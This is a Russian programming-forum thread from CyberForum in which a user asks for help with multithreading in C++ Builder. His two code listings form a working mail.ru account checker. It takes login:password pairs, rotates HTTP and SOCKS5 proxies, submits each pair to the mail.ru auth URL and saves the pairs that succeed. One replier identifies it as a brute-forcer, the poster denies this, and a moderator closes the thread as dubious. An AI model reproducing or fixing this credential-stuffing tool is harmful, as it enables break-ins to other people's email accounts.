Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 5.00/11: Рейтинг темы: голосов - 11, средняя оценка - 5.00
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
1

Работе с потоками

29.03.2013, 12:49. Показов 1986. Ответов 31
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Есть вот такой код

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void __fastcall TForm1::Button2Click(TObject *Sender)
{
checked=good=0;
Memo1->Text = "";
Button2->Enabled = false;
Button3->Enabled = true;
stop = false;
Timer1->Enabled = true;
for (i = 0;i < source->Count;i++)
{
while (potoki >= CSpinEdit1->Value)
{Sleep(unsigned int 1000);}
if (stop) break;
AnsiString str = source->Strings[i];
char* h = str.c_str();
_beginthreadex(NULL,0,&One,h,0,NULL);
}
}
 
//---------------------------------------------------------------------------
unsigned __stdcall One(void* string)
{
Form1->potoki++;
THTTPSend *http = new THTTPSend;
char* ch = (char*) string;
AnsiString str = ch;
randomize();
int a = random(Form1->proxy->Count-1);
AnsiString proxy = Form1->proxy->Strings[a];
if (proxy.Pos("HTTP") > 0)
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->ProxyHost = proxy.SubString(0,proxy.Pos(":")-1);
http->ProxyPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
else
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->Sock->SocksType = ST_Socks5;
http->Sock->SocksIP = proxy.SubString(0,proxy.Pos(":")-1);
http->Sock->SocksPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
AnsiString login = (AnsiString) str.SubString(0,str.Pos(";")-1);
AnsiString passw = (AnsiString) str.SubString(str.Pos(";")+1,str.Length()-str.Pos(";")+1);
http->HTTPMethod("get","http://win.mail.ru/cgi-bin/auth?Login="+login+"&Domain=mail.ru&Password="+passw);
Form1->Label7->Caption = Form1->checked++;
Application->ProcessMessages();
if( http->Headers->Text.Pos("Mpop=") > 0)
{
Form1->Label8->Caption = Form1->good++;
Application->ProcessMessages();
Form1->Memo1->Lines->Add(login+";"+passw);
Form1->i++;
Application->ProcessMessages();
}
Form1->potoki--;
return 0;
}
по идее должен запускать определенное кол-во потоков, но но их запустит 200 штук, а потом только останавливается и число почему-то не меняется, как можно исправить?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
29.03.2013, 12:49
Ответы с готовыми решениями:

Ошибка при работе с потоками
void __fastcall TForm1::FormCreate(TObject *Sender) { haha *Thr = new haha(true);...

Ошибка доступа к памяти при работе с потоками
проблема в следующем в оконном приложении( среда разработки C++ Builder XE3) создаю при нажатии...

Ошибка при работе с потоками
Есть две функции: одна закидывает изображения в вектор, а вторая забирает их оттуда и обрабатывает....

Ошибка при работе с потоками
Проблема в том что , сколько я указал потоков столько программа проходит строк . Типо : 50...

31
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
29.03.2013, 21:01  [ТС] 21
Author24 — интернет-сервис помощи студентам
Цитата Сообщение от BRcr Посмотреть сообщение
Опять же проблемы с синхронизацией.
я не использую компоненты VCL вся работа идет с AnsiString и TstringList, данные из которых считываются таймером уже TForm1
0
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
29.03.2013, 21:03 22
Цитата Сообщение от hiphone Посмотреть сообщение
я не использую компоненты VCL
А головой подумать ?
C++
1
2
3
4
5
6
7
8
9
10
Form1->Label7->Caption = Form1->checked++;  // <--------------
Application->ProcessMessages();  // <--------------
if( http->Headers->Text.Pos("Mpop=") > 0)
{
Form1->Label8->Caption = Form1->good++;  // <--------------
Application->ProcessMessages();  // <--------------
Form1->Memo1->Lines->Add(login+";"+passw);  // <--------------
Form1->i++;
Application->ProcessMessages();  // <--------------
}
0
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
29.03.2013, 21:12  [ТС] 23
я это уже переписал

Добавлено через 1 минуту
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void __fastcall TMyThread::Execute()
{
try
{
EnterCriticalSection(&Form1->CS);
Form1->potoki++;
LeaveCriticalSection(&Form1->CS);
THTTPSend *http = new THTTPSend;
AnsiString str = string;
randomize();
int a = random(Form1->proxy->Count-1);
AnsiString proxy = Form1->proxy->Strings[a];
if (proxy.Pos("HTTP") > 0)
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->ProxyHost = proxy.SubString(0,proxy.Pos(":")-1);
http->ProxyPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
else
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->Sock->SocksType = ST_Socks5;
http->Sock->SocksIP = proxy.SubString(0,proxy.Pos(":")-1);
http->Sock->SocksPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
AnsiString login;
AnsiString passw;
if (str.Pos(";")>0)
{
login = (AnsiString) str.SubString(0,str.Pos(";")-1);
passw = (AnsiString) str.SubString(str.Pos(";")+1,str.Length()-str.Pos(";")+1);
}
else
{
login = (AnsiString) str.SubString(0,str.Pos(":")-1);
passw = (AnsiString) str.SubString(str.Pos(":")+1,str.Length()-str.Pos(":")+1);
}
http->HTTPMethod("get","http://win.mail.ru/cgi-bin/auth?Login="+login+"&Domain=mail.ru&Password="+passw);
EnterCriticalSection(&Form1->CS);
Form1->checked++;
LeaveCriticalSection(&Form1->CS);
if( http->Headers->Text.Pos("Mpop=") > 0)
{
EnterCriticalSection(&Form1->CS);
Form1->gooder->Add(login+":"+passw);
Form1->good++;
LeaveCriticalSection(&Form1->CS);
}
}
__finally
{
EnterCriticalSection(&Form1->CS);
Form1->potoki--;
LeaveCriticalSection(&Form1->CS);
};
}
0
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
29.03.2013, 21:14 24
http://www.youtube.com/watch?v=UJ84I0iKd_s
0
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
29.03.2013, 21:20  [ТС] 25
к чему это?
0
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
29.03.2013, 21:26 26
К тому что ты не понимаешь что делаешь ... нафига тут куча потоков ?
0
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
29.03.2013, 21:34  [ТС] 27
значит нужно, если делаю
0
4043 / 2332 / 292
Регистрация: 03.02.2011
Сообщений: 5,066
Записей в блоге: 10
29.03.2013, 22:20 28
hiphone, не надо упорствовать в своих заблуждениях, тебе уж сказали, что крит-секции абсолютно бесполезны при обращении в объектам vcl, ими можно защищать лишь ресурсы, отношения к vcl не имеющие.
Либо TThread, либо посылать сообщения, третьего варианта мне не ведомо.

Судя по коду, это какой-то брут-форсер для подбора ключиков к почте... тут для тебя две новости - тыща потоков тебе ничем не помогут и разработка ПО подобного рода на форуме не приветствуется.
0
13 / 13 / 7
Регистрация: 28.01.2012
Сообщений: 549
29.03.2013, 22:27  [ТС] 29
1) Я понял как можно переделать
2) Нет, это не брутфорсер
0
0 / 0 / 2
Регистрация: 29.03.2013
Сообщений: 54
29.03.2013, 23:15 30
Может кто-нибудь помочь с кодом? много не прошу, только понять синтаксис верно
на дельфи я делал dll в которой создавал поток и в потоке создавал форму с кнопками.
как сделать то же самое в си билдере?
в дельфи делал так:

Код
type // объявление типа
 
  TMyThread = class(TThread)
 
 
   private
     { Private declarations }
 
   protected
 
     procedure FormShow;
     procedure Execute; override;
 
 
...
 
 
procedure Start1;  //экспортируемая функция создания потока
begin
 T1:=TMyThread.Create(false);
end;
...
procedure TMyThread.Execute;
 begin
 
 FormShow; // вызов функции создания формы
 
 end;
 
 
procedure TMyThread.FormShow;
begin
 
 
 Form1:=TForm1.Create(nil); //создаем форму
 
 Form1.ShowModal; // модальной
 
 
      T1.Terminate;   // после закрытия формы завершаем поток
      T1.WaitFor;
      T1.Free;
      T1:= nil;
 end;
как сделать то же самое на си++ билдере ?
помогите плз..
можно какой-нибудь простой пример создания потока, а то пока не врублюсь никак...
мне важно синтаксис понять, чтобы откомпилировать нормально
0
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
29.03.2013, 23:25 31
Цитата Сообщение от maxn Посмотреть сообщение
мне важно синтаксис понять,
Синтаксис учи по книгам ....
Ну либо кодь дальше на Делфи ...

А по сути - делается также как и Delphi, компоненты та от туда ....
0
LK
30.03.2013, 00:24     Работе с потоками
  #32
 Комментарий модератора 
Сомнительная тема.
Тема закрыта.
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
30.03.2013, 00:24

Проблема при работе с потоками
Помогите решить тупую проблему! Есть массив строк: String MassStr = new String{'one', 'two',...

Ошибка при работе с потоками
Пишу программу которая меняет обои рабочего стола , и вот код программы using System; using...

Поргресс Бар при работе с потоками
Здравствуйте. У меня вот такая проблема, написал программу, которая копирующий файлы с одной папки...

Пропадают скроллы при работе с потоками
Thread dgv1 = new Thread(start); dgv1.IsBackground = true; dgv1.Start();...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
32
Закрытая тема Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru